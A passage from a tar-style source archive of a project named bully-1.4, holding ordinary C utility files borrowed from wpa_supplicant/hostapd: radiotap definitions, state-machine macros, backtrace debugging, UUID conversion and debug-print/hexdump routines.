uint16_t MHz, bitmap * * Tx/Rx frequency in MHz, followed by flags (see below). * * IEEE80211_RADIOTAP_FHSS uint16_t see below * * For frequency-hopping radios, the hop set (first byte) * and pattern (second byte). * * IEEE80211_RADIOTAP_RATE u8 500kb/s * * Tx/Rx data rate * * IEEE80211_RADIOTAP_DBM_ANTSIGNAL s8 decibels from * one milliwatt (dBm) * * RF signal power at the antenna, decibel difference from * one milliwatt. * * IEEE80211_RADIOTAP_DBM_ANTNOISE s8 decibels from * one milliwatt (dBm) * * RF noise power at the antenna, decibel difference from one * milliwatt. * * IEEE80211_RADIOTAP_DB_ANTSIGNAL u8 decibel (dB) * * RF signal power at the antenna, decibel difference from an * arbitrary, fixed reference. * * IEEE80211_RADIOTAP_DB_ANTNOISE u8 decibel (dB) * * RF noise power at the antenna, decibel difference from an * arbitrary, fixed reference point. * * IEEE80211_RADIOTAP_LOCK_QUALITY uint16_t unitless * * Quality of Barker code lock. Unitless. Monotonically * nondecreasing with "better" lock strength. Called "Signal * Quality" in datasheets. (Is there a standard way to measure * this?) * * IEEE80211_RADIOTAP_TX_ATTENUATION uint16_t unitless * * Transmit power expressed as unitless distance from max * power set at factory calibration. 0 is max power. * Monotonically nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DB_TX_ATTENUATION uint16_t decibels (dB) * * Transmit power expressed as decibel distance from max power * set at factory calibration. 0 is max power. Monotonically * nondecreasing with lower power levels. * * IEEE80211_RADIOTAP_DBM_TX_POWER s8 decibels from * one milliwatt (dBm) * * Transmit power expressed as dBm (decibels from a 1 milliwatt * reference). This is the absolute power level measured at * the antenna port. * * IEEE80211_RADIOTAP_FLAGS u8 bitmap * * Properties of transmitted and received frames. See flags * defined below. * * IEEE80211_RADIOTAP_ANTENNA u8 antenna index * * Unitless indication of the Rx/Tx antenna for this packet. * The first antenna is antenna 0. * * IEEE80211_RADIOTAP_RX_FLAGS uint16_t bitmap * * Properties of received frames. See flags defined below. * * IEEE80211_RADIOTAP_TX_FLAGS uint16_t bitmap * * Properties of transmitted frames. See flags defined below. * * IEEE80211_RADIOTAP_RTS_RETRIES u8 data * * Number of rts retries a transmitted frame used. * * IEEE80211_RADIOTAP_DATA_RETRIES u8 data * * Number of unicast retries a transmitted frame used. * */ enum ieee80211_radiotap_type { IEEE80211_RADIOTAP_TSFT = 0, IEEE80211_RADIOTAP_FLAGS = 1, IEEE80211_RADIOTAP_RATE = 2, IEEE80211_RADIOTAP_CHANNEL = 3, IEEE80211_RADIOTAP_FHSS = 4, IEEE80211_RADIOTAP_DBM_ANTSIGNAL = 5, IEEE80211_RADIOTAP_DBM_ANTNOISE = 6, IEEE80211_RADIOTAP_LOCK_QUALITY = 7, IEEE80211_RADIOTAP_TX_ATTENUATION = 8, IEEE80211_RADIOTAP_DB_TX_ATTENUATION = 9, IEEE80211_RADIOTAP_DBM_TX_POWER = 10, IEEE80211_RADIOTAP_ANTENNA = 11, IEEE80211_RADIOTAP_DB_ANTSIGNAL = 12, IEEE80211_RADIOTAP_DB_ANTNOISE = 13, IEEE80211_RADIOTAP_RX_FLAGS = 14, IEEE80211_RADIOTAP_TX_FLAGS = 15, IEEE80211_RADIOTAP_RTS_RETRIES = 16, IEEE80211_RADIOTAP_DATA_RETRIES = 17, IEEE80211_RADIOTAP_EXT = 31 }; /* Channel flags. */ #define IEEE80211_CHAN_TURBO 0x0010 /* Turbo channel */ #define IEEE80211_CHAN_CCK 0x0020 /* CCK channel */ #define IEEE80211_CHAN_OFDM 0x0040 /* OFDM channel */ #define IEEE80211_CHAN_2GHZ 0x0080 /* 2 GHz spectrum channel. */ #define IEEE80211_CHAN_5GHZ 0x0100 /* 5 GHz spectrum channel */ #define IEEE80211_CHAN_PASSIVE 0x0200 /* Only passive scan allowed */ #define IEEE80211_CHAN_DYN 0x0400 /* Dynamic CCK-OFDM channel */ #define IEEE80211_CHAN_GFSK 0x0800 /* GFSK channel (FHSS PHY) */ /* For IEEE80211_RADIOTAP_FLAGS */ #define IEEE80211_RADIOTAP_F_CFP 0x01 /* sent/received * during CFP */ #define IEEE80211_RADIOTAP_F_SHORTPRE 0x02 /* sent/received * with short * preamble */ #define IEEE80211_RADIOTAP_F_WEP 0x04 /* sent/received * with WEP encryption */ #define IEEE80211_RADIOTAP_F_FRAG 0x08 /* sent/received * with fragmentation */ #define IEEE80211_RADIOTAP_F_FCS 0x10 /* frame includes FCS */ #define IEEE80211_RADIOTAP_F_DATAPAD 0x20 /* frame has padding between * 802.11 header and payload * (to 32-bit boundary) */ /* For IEEE80211_RADIOTAP_RX_FLAGS */ #define IEEE80211_RADIOTAP_F_RX_BADFCS 0x0001 /* frame failed crc check */ /* For IEEE80211_RADIOTAP_TX_FLAGS */ #define IEEE80211_RADIOTAP_F_TX_FAIL 0x0001 /* failed due to excessive * retries */ #define IEEE80211_RADIOTAP_F_TX_CTS 0x0002 /* used cts 'protection' */ #define IEEE80211_RADIOTAP_F_TX_RTS 0x0004 /* used rts/cts handshake */ #endif /* IEEE80211_RADIOTAP_H */ bully-1.4-00/src/utils/radiotap_iter.h000077500000000000000000000023051361530463600176620ustar00rootroot00000000000000#ifndef __RADIOTAP_ITER_H #define __RADIOTAP_ITER_H #include "radiotap.h" /* Radiotap header iteration * implemented in radiotap.c */ /** * struct ieee80211_radiotap_iterator - tracks walk thru present radiotap args * @rtheader: pointer to the radiotap header we are walking through * @max_length: length of radiotap header in cpu byte ordering * @this_arg_index: IEEE80211_RADIOTAP_... index of current arg * @this_arg: pointer to current radiotap arg * @arg_index: internal next argument index * @arg: internal next argument pointer * @next_bitmap: internal pointer to next present u32 * @bitmap_shifter: internal shifter for curr u32 bitmap, b0 set == arg present */ struct ieee80211_radiotap_iterator { struct ieee80211_radiotap_header *rtheader; int max_length; int this_arg_index; unsigned char *this_arg; int arg_index; unsigned char *arg; uint32_t *next_bitmap; uint32_t bitmap_shifter; }; extern int ieee80211_radiotap_iterator_init( struct ieee80211_radiotap_iterator *iterator, struct ieee80211_radiotap_header *radiotap_header, int max_length); extern int ieee80211_radiotap_iterator_next( struct ieee80211_radiotap_iterator *iterator); #endif /* __RADIOTAP_ITER_H */ bully-1.4-00/src/utils/state_machine.h000077500000000000000000000127301361530463600176430ustar00rootroot00000000000000/* * wpa_supplicant/hostapd - State machine definitions * Copyright (c) 2002-2005, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. * * This file includes a set of pre-processor macros that can be used to * implement a state machine. In addition to including this header file, each * file implementing a state machine must define STATE_MACHINE_DATA to be the * data structure including state variables (enum machine_state, * Boolean changed), and STATE_MACHINE_DEBUG_PREFIX to be a string that is used * as a prefix for all debug messages. If SM_ENTRY_MA macro is used to define * a group of state machines with shared data structure, STATE_MACHINE_ADDR * needs to be defined to point to the MAC address used in debug output. * SM_ENTRY_M macro can be used to define similar group of state machines * without this additional debug info. */ #ifndef STATE_MACHINE_H #define STATE_MACHINE_H /** * SM_STATE - Declaration of a state machine function * @machine: State machine name * @state: State machine state * * This macro is used to declare a state machine function. It is used in place * of a C function definition to declare functions to be run when the state is * entered by calling SM_ENTER or SM_ENTER_GLOBAL. */ #define SM_STATE(machine, state) \ static void sm_ ## machine ## _ ## state ## _Enter(STATE_MACHINE_DATA *sm, \ int global) /** * SM_ENTRY - State machine function entry point * @machine: State machine name * @state: State machine state * * This macro is used inside each state machine function declared with * SM_STATE. SM_ENTRY should be in the beginning of the function body, but * after declaration of possible local variables. This macro prints debug * information about state transition and update the state machine state. */ #define SM_ENTRY(machine, state) \ if (!global || sm->machine ## _state != machine ## _ ## state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " #machine \ " entering state " #state); \ } \ sm->machine ## _state = machine ## _ ## state; /** * SM_ENTRY_M - State machine function entry point for state machine group * @machine: State machine name * @_state: State machine state * @data: State variable prefix (full variable: prefix_state) * * This macro is like SM_ENTRY, but for state machine groups that use a shared * data structure for more than one state machine. Both machine and prefix * parameters are set to "sub-state machine" name. prefix is used to allow more * than one state variable to be stored in the same data structure. */ #define SM_ENTRY_M(machine, _state, data) \ if (!global || sm->data ## _ ## state != machine ## _ ## _state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " \ #machine " entering state " #_state); \ } \ sm->data ## _ ## state = machine ## _ ## _state; /** * SM_ENTRY_MA - State machine function entry point for state machine group * @machine: State machine name * @_state: State machine state * @data: State variable prefix (full variable: prefix_state) * * This macro is like SM_ENTRY_M, but a MAC address is included in debug * output. STATE_MACHINE_ADDR has to be defined to point to the MAC address to * be included in debug. */ #define SM_ENTRY_MA(machine, _state, data) \ if (!global || sm->data ## _ ## state != machine ## _ ## _state) { \ sm->changed = TRUE; \ wpa_printf(MSG_DEBUG, STATE_MACHINE_DEBUG_PREFIX ": " MACSTR " " \ #machine " entering state " #_state, \ MAC2STR(STATE_MACHINE_ADDR)); \ } \ sm->data ## _ ## state = machine ## _ ## _state; /** * SM_ENTER - Enter a new state machine state * @machine: State machine name * @state: State machine state * * This macro expands to a function call to a state machine function defined * with SM_STATE macro. SM_ENTER is used in a state machine step function to * move the state machine to a new state. */ #define SM_ENTER(machine, state) \ sm_ ## machine ## _ ## state ## _Enter(sm, 0) /** * SM_ENTER_GLOBAL - Enter a new state machine state based on global rule * @machine: State machine name * @state: State machine state * * This macro is like SM_ENTER, but this is used when entering a new state * based on a global (not specific to any particular state) rule. A separate * macro is used to avoid unwanted debug message floods when the same global * rule is forcing a state machine to remain in on state. */ #define SM_ENTER_GLOBAL(machine, state) \ sm_ ## machine ## _ ## state ## _Enter(sm, 1) /** * SM_STEP - Declaration of a state machine step function * @machine: State machine name * * This macro is used to declare a state machine step function. It is used in * place of a C function definition to declare a function that is used to move * state machine to a new state based on state variables. This function uses * SM_ENTER and SM_ENTER_GLOBAL macros to enter new state. */ #define SM_STEP(machine) \ static void sm_ ## machine ## _Step(STATE_MACHINE_DATA *sm) /** * SM_STEP_RUN - Call the state machine step function * @machine: State machine name * * This macro expands to a function call to a state machine step function * defined with SM_STEP macro. */ #define SM_STEP_RUN(machine) sm_ ## machine ## _Step(sm) #endif /* STATE_MACHINE_H */ bully-1.4-00/src/utils/trace.c000077500000000000000000000153131361530463600161300ustar00rootroot00000000000000/* * Backtrace debugging * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "trace.h" #ifdef WPA_TRACE static struct dl_list active_references = { &active_references, &active_references }; #ifdef WPA_TRACE_BFD #include #ifdef __linux__ #include #else /* __linux__ */ #include #endif /* __linux__ */ static char *prg_fname = NULL; static bfd *cached_abfd = NULL; static asymbol **syms = NULL; static void get_prg_fname(void) { char exe[50], fname[512]; int len; os_snprintf(exe, sizeof(exe) - 1, "/proc/%u/exe", getpid()); len = readlink(exe, fname, sizeof(fname) - 1); if (len < 0 || len >= (int) sizeof(fname)) { perror("readlink"); return; } fname[len] = '\0'; prg_fname = strdup(fname); } static bfd * open_bfd(const char *fname) { bfd *abfd; char **matching; abfd = bfd_openr(prg_fname, NULL); if (abfd == NULL) { wpa_printf(MSG_INFO, "bfd_openr failed"); return NULL; } if (bfd_check_format(abfd, bfd_archive)) { wpa_printf(MSG_INFO, "bfd_check_format failed"); bfd_close(abfd); return NULL; } if (!bfd_check_format_matches(abfd, bfd_object, &matching)) { wpa_printf(MSG_INFO, "bfd_check_format_matches failed"); free(matching); bfd_close(abfd); return NULL; } return abfd; } static void read_syms(bfd *abfd) { long storage, symcount; bfd_boolean dynamic = FALSE; if (syms) return; if (!(bfd_get_file_flags(abfd) & HAS_SYMS)) { wpa_printf(MSG_INFO, "No symbols"); return; } storage = bfd_get_symtab_upper_bound(abfd); if (storage == 0) { storage = bfd_get_dynamic_symtab_upper_bound(abfd); dynamic = TRUE; } if (storage < 0) { wpa_printf(MSG_INFO, "Unknown symtab upper bound"); return; } syms = malloc(storage); if (syms == NULL) { wpa_printf(MSG_INFO, "Failed to allocate memory for symtab " "(%ld bytes)", storage); return; } if (dynamic) symcount = bfd_canonicalize_dynamic_symtab(abfd, syms); else symcount = bfd_canonicalize_symtab(abfd, syms); if (symcount < 0) { wpa_printf(MSG_INFO, "Failed to canonicalize %ssymtab", dynamic ? "dynamic " : ""); free(syms); syms = NULL; return; } } struct bfd_data { bfd_vma pc; bfd_boolean found; const char *filename; const char *function; unsigned int line; }; static void find_addr_sect(bfd *abfd, asection *section, void *obj) { struct bfd_data *data = obj; bfd_vma vma; bfd_size_type size; if (data->found) return; if (!(bfd_get_section_vma(abfd, section))) return; vma = bfd_get_section_vma(abfd, section); if (data->pc < vma) return; size = bfd_get_section_size(section); if (data->pc >= vma + size) return; data->found = bfd_find_nearest_line(abfd, section, syms, data->pc - vma, &data->filename, &data->function, &data->line); } static void wpa_trace_bfd_addr(void *pc) { bfd *abfd = cached_abfd; struct bfd_data data; const char *name; char *aname = NULL; const char *filename; if (abfd == NULL) return; data.pc = (bfd_vma) pc; data.found = FALSE; bfd_map_over_sections(abfd, find_addr_sect, &data); if (!data.found) return; do { if (data.function) aname = bfd_demangle(abfd, data.function, DMGL_ANSI | DMGL_PARAMS); name = aname ? aname : data.function; filename = data.filename; if (filename) { char *end = os_strrchr(filename, '/'); int i = 0; while (*filename && *filename == prg_fname[i] && filename <= end) { filename++; i++; } } wpa_printf(MSG_INFO, " %s() %s:%u", name, filename, data.line); free(aname); data.found = bfd_find_inliner_info(abfd, &data.filename, &data.function, &data.line); } while (data.found); } static const char * wpa_trace_bfd_addr2func(void *pc) { bfd *abfd = cached_abfd; struct bfd_data data; if (abfd == NULL) return NULL; data.pc = (bfd_vma) pc; data.found = FALSE; bfd_map_over_sections(abfd, find_addr_sect, &data); if (!data.found) return NULL; return data.function; } static void wpa_trace_bfd_init(void) { if (!prg_fname) { get_prg_fname(); if (!prg_fname) return; } if (!cached_abfd) { cached_abfd = open_bfd(prg_fname); if (!cached_abfd) { wpa_printf(MSG_INFO, "Failed to open bfd"); return; } } read_syms(cached_abfd); if (!syms) { wpa_printf(MSG_INFO, "Failed to read symbols"); return; } } void wpa_trace_dump_funcname(const char *title, void *pc) { wpa_printf(MSG_INFO, "WPA_TRACE: %s: %p", title, pc); wpa_trace_bfd_init(); wpa_trace_bfd_addr(pc); } #else /* WPA_TRACE_BFD */ #define wpa_trace_bfd_init() do { } while (0) #define wpa_trace_bfd_addr(pc) do { } while (0) #define wpa_trace_bfd_addr2func(pc) NULL #endif /* WPA_TRACE_BFD */ void wpa_trace_dump_func(const char *title, void **btrace, int btrace_num) { char **sym; int i; enum { TRACE_HEAD, TRACE_RELEVANT, TRACE_TAIL } state; wpa_trace_bfd_init(); wpa_printf(MSG_INFO, "WPA_TRACE: %s - START", title); sym = backtrace_symbols(btrace, btrace_num); state = TRACE_HEAD; for (i = 0; i < btrace_num; i++) { const char *func = wpa_trace_bfd_addr2func(btrace[i]); if (state == TRACE_HEAD && func && (os_strcmp(func, "wpa_trace_add_ref_func") == 0 || os_strcmp(func, "wpa_trace_check_ref") == 0 || os_strcmp(func, "wpa_trace_show") == 0)) continue; if (state == TRACE_TAIL && sym && sym[i] && os_strstr(sym[i], "__libc_start_main")) break; if (state == TRACE_HEAD) state = TRACE_RELEVANT; if (sym) wpa_printf(MSG_INFO, "[%d]: %s", i, sym[i]); else wpa_printf(MSG_INFO, "[%d]: ?? [%p]", i, btrace[i]); wpa_trace_bfd_addr(btrace[i]); if (state == TRACE_RELEVANT && func && os_strcmp(func, "main") == 0) state = TRACE_TAIL; } free(sym); wpa_printf(MSG_INFO, "WPA_TRACE: %s - END", title); } void wpa_trace_show(const char *title) { struct info { WPA_TRACE_INFO } info; wpa_trace_record(&info); wpa_trace_dump(title, &info); } void wpa_trace_add_ref_func(struct wpa_trace_ref *ref, const void *addr) { if (addr == NULL) return; ref->addr = addr; wpa_trace_record(ref); dl_list_add(&active_references, &ref->list); } void wpa_trace_check_ref(const void *addr) { struct wpa_trace_ref *ref; dl_list_for_each(ref, &active_references, struct wpa_trace_ref, list) { if (addr != ref->addr) continue; wpa_trace_show("Freeing referenced memory"); wpa_trace_dump("Reference registration", ref); abort(); } } #endif /* WPA_TRACE */ bully-1.4-00/src/utils/trace.h000077500000000000000000000040071361530463600161330ustar00rootroot00000000000000/* * Backtrace debugging * Copyright (c) 2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef TRACE_H #define TRACE_H #define WPA_TRACE_LEN 16 #ifdef WPA_TRACE #include #include "list.h" #define WPA_TRACE_INFO void *btrace[WPA_TRACE_LEN]; int btrace_num; struct wpa_trace_ref { struct dl_list list; const void *addr; WPA_TRACE_INFO }; #define WPA_TRACE_REF(name) struct wpa_trace_ref wpa_trace_ref_##name #define wpa_trace_dump(title, ptr) \ wpa_trace_dump_func((title), (ptr)->btrace, (ptr)->btrace_num) void wpa_trace_dump_func(const char *title, void **btrace, int btrace_num); #define wpa_trace_record(ptr) \ (ptr)->btrace_num = backtrace((ptr)->btrace, WPA_TRACE_LEN) void wpa_trace_show(const char *title); #define wpa_trace_add_ref(ptr, name, addr) \ wpa_trace_add_ref_func(&(ptr)->wpa_trace_ref_##name, (addr)) void wpa_trace_add_ref_func(struct wpa_trace_ref *ref, const void *addr); #define wpa_trace_remove_ref(ptr, name, addr) \ do { \ if ((addr)) \ dl_list_del(&(ptr)->wpa_trace_ref_##name.list); \ } while (0) void wpa_trace_check_ref(const void *addr); #else /* WPA_TRACE */ #define WPA_TRACE_INFO #define WPA_TRACE_REF(n) #define wpa_trace_dump(title, ptr) do { } while (0) #define wpa_trace_record(ptr) do { } while (0) #define wpa_trace_show(title) do { } while (0) #define wpa_trace_add_ref(ptr, name, addr) do { } while (0) #define wpa_trace_remove_ref(ptr, name, addr) do { } while (0) #define wpa_trace_check_ref(addr) do { } while (0) #endif /* WPA_TRACE */ #ifdef WPA_TRACE_BFD void wpa_trace_dump_funcname(const char *title, void *pc); #else /* WPA_TRACE_BFD */ #define wpa_trace_dump_funcname(title, pc) do { } while (0) #endif /* WPA_TRACE_BFD */ #endif /* TRACE_H */ bully-1.4-00/src/utils/uuid.c000077500000000000000000000027431361530463600160030ustar00rootroot00000000000000/* * Universally Unique IDentifier (UUID) * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "uuid.h" int uuid_str2bin(const char *str, u8 *bin) { const char *pos; u8 *opos; pos = str; opos = bin; if (hexstr2bin(pos, opos, 4)) return -1; pos += 8; opos += 4; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 2)) return -1; pos += 4; opos += 2; if (*pos++ != '-' || hexstr2bin(pos, opos, 6)) return -1; return 0; } int uuid_bin2str(const u8 *bin, char *str, size_t max_len) { int len; len = os_snprintf(str, max_len, "%02x%02x%02x%02x-%02x%02x-%02x%02x-" "%02x%02x-%02x%02x%02x%02x%02x%02x", bin[0], bin[1], bin[2], bin[3], bin[4], bin[5], bin[6], bin[7], bin[8], bin[9], bin[10], bin[11], bin[12], bin[13], bin[14], bin[15]); if (len < 0 || (size_t) len >= max_len) return -1; return 0; } int is_nil_uuid(const u8 *uuid) { int i; for (i = 0; i < UUID_LEN; i++) if (uuid[i]) return 0; return 1; } bully-1.4-00/src/utils/uuid.h000077500000000000000000000011671361530463600160070ustar00rootroot00000000000000/* * Universally Unique IDentifier (UUID) * Copyright (c) 2008, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef UUID_H #define UUID_H #define UUID_LEN 16 int uuid_str2bin(const char *str, u8 *bin); int uuid_bin2str(const u8 *bin, char *str, size_t max_len); int is_nil_uuid(const u8 *uuid); #endif /* UUID_H */ bully-1.4-00/src/utils/wpa_debug.c000077500000000000000000000206001361530463600167620ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / Debug prints * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #ifdef CONFIG_DEBUG_SYSLOG #include static int wpa_debug_syslog = 0; #endif /* CONFIG_DEBUG_SYSLOG */ #ifdef CONFIG_DEBUG_FILE static FILE *out_file = NULL; #endif /* CONFIG_DEBUG_FILE */ int wpa_debug_level = MSG_INFO; int wpa_debug_show_keys = 0; int wpa_debug_timestamp = 0; #ifndef CONFIG_NO_STDOUT_DEBUG void wpa_debug_print_timestamp(void) { struct os_time tv; if (!wpa_debug_timestamp) return; os_get_time(&tv); #ifdef CONFIG_DEBUG_FILE if (out_file) { fprintf(out_file, "%ld.%06u: ", (long) tv.sec, (unsigned int) tv.usec); } else #endif /* CONFIG_DEBUG_FILE */ printf("%ld.%06u: ", (long) tv.sec, (unsigned int) tv.usec); } #ifdef CONFIG_DEBUG_SYSLOG void wpa_debug_open_syslog(void) { openlog("wpa_supplicant", LOG_PID | LOG_NDELAY, LOG_DAEMON); wpa_debug_syslog++; } void wpa_debug_close_syslog(void) { if (wpa_debug_syslog) closelog(); } static int syslog_priority(int level) { switch (level) { case MSG_MSGDUMP: case MSG_DEBUG: return LOG_DEBUG; case MSG_INFO: return LOG_NOTICE; case MSG_WARNING: return LOG_WARNING; case MSG_ERROR: return LOG_ERR; } return LOG_INFO; } #endif /* CONFIG_DEBUG_SYSLOG */ /** * wpa_printf - conditional printf * @level: priority level (MSG_*) of the message * @fmt: printf format string, followed by optional arguments * * This function is used to print conditional debugging and error messages. The * output may be directed to stdout, stderr, and/or syslog based on * configuration. * * Note: New line '\n' is added to the end of the text when printing to stdout. */ void wpa_printf(int level, const char *fmt, ...) { va_list ap; va_start(ap, fmt); if (level >= wpa_debug_level) { #ifdef CONFIG_DEBUG_SYSLOG if (wpa_debug_syslog) { vsyslog(syslog_priority(level), fmt, ap); } else { #endif /* CONFIG_DEBUG_SYSLOG */ wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { vfprintf(out_file, fmt, ap); fprintf(out_file, "\n"); } else { #endif /* CONFIG_DEBUG_FILE */ vprintf(fmt, ap); printf("\n"); #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ #ifdef CONFIG_DEBUG_SYSLOG } #endif /* CONFIG_DEBUG_SYSLOG */ } va_end(ap); } static void _wpa_hexdump(int level, const char *title, const u8 *buf, size_t len, int show) { size_t i; if (level < wpa_debug_level) return; wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { fprintf(out_file, "%s - hexdump(len=%lu):", title, (unsigned long) len); if (buf == NULL) { fprintf(out_file, " [NULL]"); } else if (show) { for (i = 0; i < len; i++) fprintf(out_file, " %02x", buf[i]); } else { fprintf(out_file, " [REMOVED]"); } fprintf(out_file, "\n"); } else { #endif /* CONFIG_DEBUG_FILE */ printf("%s - hexdump(len=%lu):", title, (unsigned long) len); if (buf == NULL) { printf(" [NULL]"); } else if (show) { for (i = 0; i < len; i++) printf(" %02x", buf[i]); } else { printf(" [REMOVED]"); } printf("\n"); #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ } void wpa_hexdump(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump(level, title, buf, len, 1); } void wpa_hexdump_key(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump(level, title, buf, len, wpa_debug_show_keys); } static void _wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len, int show) { size_t i, llen; const u8 *pos = buf; const size_t line_len = 16; if (level < wpa_debug_level) return; wpa_debug_print_timestamp(); #ifdef CONFIG_DEBUG_FILE if (out_file) { if (!show) { fprintf(out_file, "%s - hexdump_ascii(len=%lu): [REMOVED]\n", title, (unsigned long) len); return; } if (buf == NULL) { fprintf(out_file, "%s - hexdump_ascii(len=%lu): [NULL]\n", title, (unsigned long) len); return; } fprintf(out_file, "%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len); while (len) { llen = len > line_len ? line_len : len; fprintf(out_file, " "); for (i = 0; i < llen; i++) fprintf(out_file, " %02x", pos[i]); for (i = llen; i < line_len; i++) fprintf(out_file, " "); fprintf(out_file, " "); for (i = 0; i < llen; i++) { if (isprint(pos[i])) fprintf(out_file, "%c", pos[i]); else fprintf(out_file, "_"); } for (i = llen; i < line_len; i++) fprintf(out_file, " "); fprintf(out_file, "\n"); pos += llen; len -= llen; } } else { #endif /* CONFIG_DEBUG_FILE */ if (!show) { printf("%s - hexdump_ascii(len=%lu): [REMOVED]\n", title, (unsigned long) len); return; } if (buf == NULL) { printf("%s - hexdump_ascii(len=%lu): [NULL]\n", title, (unsigned long) len); return; } printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len); while (len) { llen = len > line_len ? line_len : len; printf(" "); for (i = 0; i < llen; i++) printf(" %02x", pos[i]); for (i = llen; i < line_len; i++) printf(" "); printf(" "); for (i = 0; i < llen; i++) { if (isprint(pos[i])) printf("%c", pos[i]); else printf("_"); } for (i = llen; i < line_len; i++) printf(" "); printf("\n"); pos += llen; len -= llen; } #ifdef CONFIG_DEBUG_FILE } #endif /* CONFIG_DEBUG_FILE */ } void wpa_hexdump_ascii(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump_ascii(level, title, buf, len, 1); } void wpa_hexdump_ascii_key(int level, const char *title, const u8 *buf, size_t len) { _wpa_hexdump_ascii(level, title, buf, len, wpa_debug_show_keys); } int wpa_debug_open_file(const char *path) { #ifdef CONFIG_DEBUG_FILE if (!path) return 0; out_file = fopen(path, "a"); if (out_file == NULL) { wpa_printf(MSG_ERROR, "wpa_debug_open_file: Failed to open " "output file, using standard output"); return -1; } #ifndef _WIN32 setvbuf(out_file, NULL, _IOLBF, 0); #endif /* _WIN32 */ #endif /* CONFIG_DEBUG_FILE */ return 0; } void wpa_debug_close_file(void) { #ifdef CONFIG_DEBUG_FILE if (!out_file) return; fclose(out_file); out_file = NULL; #endif /* CONFIG_DEBUG_FILE */ } #endif /* CONFIG_NO_STDOUT_DEBUG */ #ifndef CONFIG_NO_WPA_MSG static wpa_msg_cb_func wpa_msg_cb = NULL; void wpa_msg_register_cb(wpa_msg_cb_func func) { wpa_msg_cb = func; } void wpa_msg(void *ctx, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "wpa_msg: Failed to allocate message " "buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); wpa_printf(level, "%s", buf); if (wpa_msg_cb) wpa_msg_cb(ctx, level, buf, len); os_free(buf); } void wpa_msg_ctrl(void *ctx, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; if (!wpa_msg_cb) return; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "wpa_msg_ctrl: Failed to allocate " "message buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); wpa_msg_cb(ctx, level, buf, len); os_free(buf); } #endif /* CONFIG_NO_WPA_MSG */ #ifndef CONFIG_NO_HOSTAPD_LOGGER static hostapd_logger_cb_func hostapd_logger_cb = NULL; void hostapd_logger_register_cb(hostapd_logger_cb_func func) { hostapd_logger_cb = func; } void hostapd_logger(void *ctx, const u8 *addr, unsigned int module, int level, const char *fmt, ...) { va_list ap; char *buf; const int buflen = 2048; int len; buf = os_malloc(buflen); if (buf == NULL) { wpa_printf(MSG_ERROR, "hostapd_logger: Failed to allocate " "message buffer"); return; } va_start(ap, fmt); len = vsnprintf(buf, buflen, fmt, ap); va_end(ap); if (hostapd_logger_cb) hostapd_logger_cb(ctx, addr, module, level, buf, len); else if (addr) wpa_printf(MSG_DEBUG, "hostapd_logger: STA " MACSTR " - %s", MAC2STR(addr), buf); else wpa_printf(MSG_DEBUG, "hostapd_logger: %s", buf); os_free(buf); } #endif /* CONFIG_NO_HOSTAPD_LOGGER */ bully-1.4-00/src/utils/wpa_debug.h000077500000000000000000000206741361530463600170020ustar00rootroot00000000000000/* * wpa_supplicant/hostapd / Debug prints * Copyright (c) 2002-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #ifndef WPA_DEBUG_H #define WPA_DEBUG_H #include "wpabuf.h" /* Debugging function - conditional printf and hex dump. Driver wrappers can * use these for debugging purposes. */ enum { MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR }; #ifdef CONFIG_NO_STDOUT_DEBUG #define wpa_debug_print_timestamp() do { } while (0) #define wpa_printf(args...) do { } while (0) 